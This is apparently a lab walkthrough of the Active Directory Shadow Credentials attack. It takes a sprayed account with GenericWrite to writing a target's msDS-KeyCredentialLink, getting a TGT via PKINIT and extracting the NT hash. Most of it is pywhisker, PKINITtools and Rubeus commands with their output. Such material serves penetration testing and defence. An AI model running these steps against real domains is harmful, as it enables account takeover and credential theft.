Let’s suppose that we got valid credentials after performing a successful Password Spraying
During our enumeration, we list the securityDescriptor DACL of every domain object looking for existings ACES related to our controlled account
Then, we see that the account in question has GenericWrite over another domain principal
At this point, we could perform a Targeted Kerberoast, but we may not be able to crack the given hash
Therefore, we can opt for a stealthier approach by leveraging the msDS-KeyCredentialLink attribute of the target
First, we have to generate a key pair and create a X509 certificate from them. After that, it’s as simple as creating a KeyCredential structure containing the public key and populating the msDS-KeyCredentialLink attribute with it
Once we are done, we can use the private key to initialize an AS Exchange via PKINIT Key Trust in order to retrieve a valid TGT for the target account i.e. perform a Pass the Certificate
Once we obtain the given Ticket Granting Ticket ( TGT ), we can leverage the U2U Kerberos extension, by providing the given TGT as additional ticket on a TGS Exchange, to be able to decrypt the issued Service Ticket’s enc_part and retrieve the NT Hash from its Privilege Attribute Certificate ( PAC ) i.e. perform an UnPac the Hash
Requirements
At least Windows Server 2016 as Domain Functional Level
The domain must have AD CS configured or a PKI/CA deployed to provide the DC with a valid key pair
The controlled domain account must have WRITE permissions over the msDS-KeyCredentialLink attribute of the target principal
[*] Targeting user 'john.snow'[*] Generating certificate[*] Certificate generated[*] Generating Key Credential[*] Key Credential generated with DeviceID '11e30cf074d54ddbb3e75846a9829638'[*] Adding Key Credential with device ID '11e30cf074d54ddbb3e75846a9829638' to the Key Credentials for 'john.snow'[*] Successfully added Key Credential with device ID '11e30cf074d54ddbb3e75846a9829638' to the Key Credentials for 'john.snow'[*] Authenticating as 'john.snow' with the certificate[*] Certificate identities:[*] No identities found in this certificate[*] Using principal: 'john.snow@DOMAIN.INTERNAL'[*] Trying to get TGT...[*] Got TGT[*] Saving credential cache to 'john.snow.ccache'[*] Wrote credential cache to 'john.snow.ccache'[*] Trying to retrieve NT hash for 'john.snow'[*] Restoring the old Key Credentials for 'john.snow'[*] Successfully restored the old Key Credentials for 'john.snow'[*] NT hash for 'john.snow': 1fcdb1f6015dcb318cc77bb2bda14db5
[+] KeyCredential generated with following sha256 of RSA key: c2904ffe15067a2a4944041ef4c1129e62184f96e343de2e263da9f9c6b171f2[+] TGT stored in ccache file john_snow_Kk.ccacheNT: 1fcdb1f6015dcb318cc77bb2bda14db5
PyWhisker + PKINITtools
Populating the Target Account’s msDS-KeyCredentialLink attribute
[*] Searching for the target account[*] Target user found: CN=John Snow,CN=Users,DC=DOMAIN,DC=INTERNAL[*] Attribute msDS-KeyCredentialLink is either empty or user does not have read permissions on that attribute❯ pywhisker --dc-ip '10.129.229.239' --user 'john.doe' --password 'password1234!$' --domain 'DOMAIN.INTERNAL' --target 'john.snow' --use-ldaps --action add[*] Searching for the target account[*] Target user found: CN=John Snow,CN=Users,DC=DOMAIN,DC=INTERNAL[*] Generating certificate[*] Certificate generated[*] Generating KeyCredential[*] KeyCredential generated with DeviceID: a7c21d15-38c6-fbb9-8984-dbf0fdc1e48c[*] Updating the msDS-KeyCredentialLink attribute of john.snow[+] Updated the msDS-KeyCredentialLink attribute of the target object[*] Converting PEM -> PFX with cryptography: hOSVtaJr.pfx/home/al3xbb/INTERNAL/DOMAIN/Tools/ShadowCredentials/PyWhisker/.venv/lib/python3.13/site-packages/pywhisker/pywhisker.py:132: CryptographyDeprecationWarning: Parsed a serial number which wasn't positive (i.e., it was negative or zero), which is disallowed by RFC 5280. Loading this certificate will cause an exception in a future release of cryptography. cert_obj = x509.load_pem_x509_certificate(pem_cert_data, default_backend())[+] PFX exportiert nach: hOSVtaJr.pfx[i] Passwort für PFX: vWp0KSFPiHHYR2L280ML[+] Saved PFX (#PKCS12) certificate & key at path: hOSVtaJr.pfx[*] Must be used with password: vWp0KSFPiHHYR2L280ML[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
The utility above will generate a PFX certificate file, along with its password, containing both the public and private key
2026-07-01 01:26:09,341 minikerberos INFO Loading certificate and key from file2026-07-01 01:26:09,354 minikerberos INFO Requesting TGT2026-07-01 01:26:16,041 minikerberos INFO AS-REP encryption key (you might need this later):2026-07-01 01:26:16,041 minikerberos INFO 31c0985f53955767aa555b5b1501f26e0b0ec198320350499456a210803fa382026-07-01 01:26:16,044 minikerberos INFO Saved TGT to file
[*] No path was provided. The certificate will be printed as a Base64 blob[*] No pass was provided. The certificate will be stored with the password NkFoKDgOfTo7FlSI[*] Searching for the target account[*] Target user found: CN=John Snow,CN=Users,DC=DOMAIN,DC=INTERNAL[*] Generating certificate[*] Certificate generaged[*] Generating KeyCredential[*] KeyCredential generated with DeviceID a8c5704d-560c-4a05-a8da-a482aeb602a3[*] Updating the msDS-KeyCredentialLink attribute of the target object[+] Updated the msDS-KeyCredentialLink attribute of the target object[*] You can now run Rubeus with the following syntax:Rubeus.exe asktgt /user:'john.snow' /certificate:'MIIJuAIBAzCCCXQGCSqGSIb...<SNIP>...' /password:'NkFoKDgOfTo7FlSI' /domain:'DOMAIN.INTERNAL' /dc:'DC01.DOMAIN.INTERNAL' /getcredentials /show